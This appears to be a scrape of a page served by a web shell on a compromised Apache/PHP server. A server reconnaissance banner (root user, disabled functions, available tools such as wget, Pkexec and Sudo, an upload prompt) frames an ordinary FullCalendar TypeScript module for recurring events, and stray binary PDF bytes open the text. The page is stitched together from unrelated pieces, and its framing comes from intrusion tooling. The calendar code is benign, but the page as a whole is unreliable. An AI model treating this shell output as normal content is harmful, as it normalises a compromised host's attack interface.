%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11585/cwd/html/ppaobm/vendor/bower-asset/fullcalendar/src/core/structs/ |
Upload File : |
import { EventInput, EventDef } from './event' import { DateRange } from '../datelib/date-range' import { DateEnv } from '../datelib/env' import { Duration } from '../datelib/duration' import { DateMarker, startOfDay } from '../datelib/marker' import { __assign } from 'tslib' /* The plugin system for defining how a recurring event is expanded into individual instances. */ export interface ParsedRecurring { typeData: any allDayGuess: boolean | null duration: Duration | null // signals hasEnd } export interface RecurringType { parse: (rawEvent: EventInput, leftoverProps: any, dateEnv: DateEnv) => ParsedRecurring | null expand: (typeData: any, framingRange: DateRange, dateEnv: DateEnv) => DateMarker[] } export function parseRecurring( eventInput: EventInput, allDayDefault: boolean | null, dateEnv: DateEnv, recurringTypes: RecurringType[], leftovers: any ) { for (let i = 0; i < recurringTypes.length; i++) { let localLeftovers = {} as any let parsed = recurringTypes[i].parse(eventInput, localLeftovers, dateEnv) as ParsedRecurring if (parsed) { let allDay = localLeftovers.allDay delete localLeftovers.allDay // remove from leftovers if (allDay == null) { allDay = allDayDefault if (allDay == null) { allDay = parsed.allDayGuess if (allDay == null) { allDay = false } } } __assign(leftovers, localLeftovers) return { allDay, duration: parsed.duration, typeData: parsed.typeData, typeId: i } } } return null } /* Event MUST have a recurringDef */ export function expandRecurringRanges( eventDef: EventDef, framingRange: DateRange, dateEnv: DateEnv, recurringTypes: RecurringType[] ): DateMarker[] { let typeDef = recurringTypes[eventDef.recurringDef.typeId] let markers = typeDef.expand( eventDef.recurringDef.typeData, framingRange, dateEnv ) // the recurrence plugins don't guarantee that all-day events are start-of-day, so we have to if (eventDef.allDay) { markers = markers.map(startOfDay) } return markers }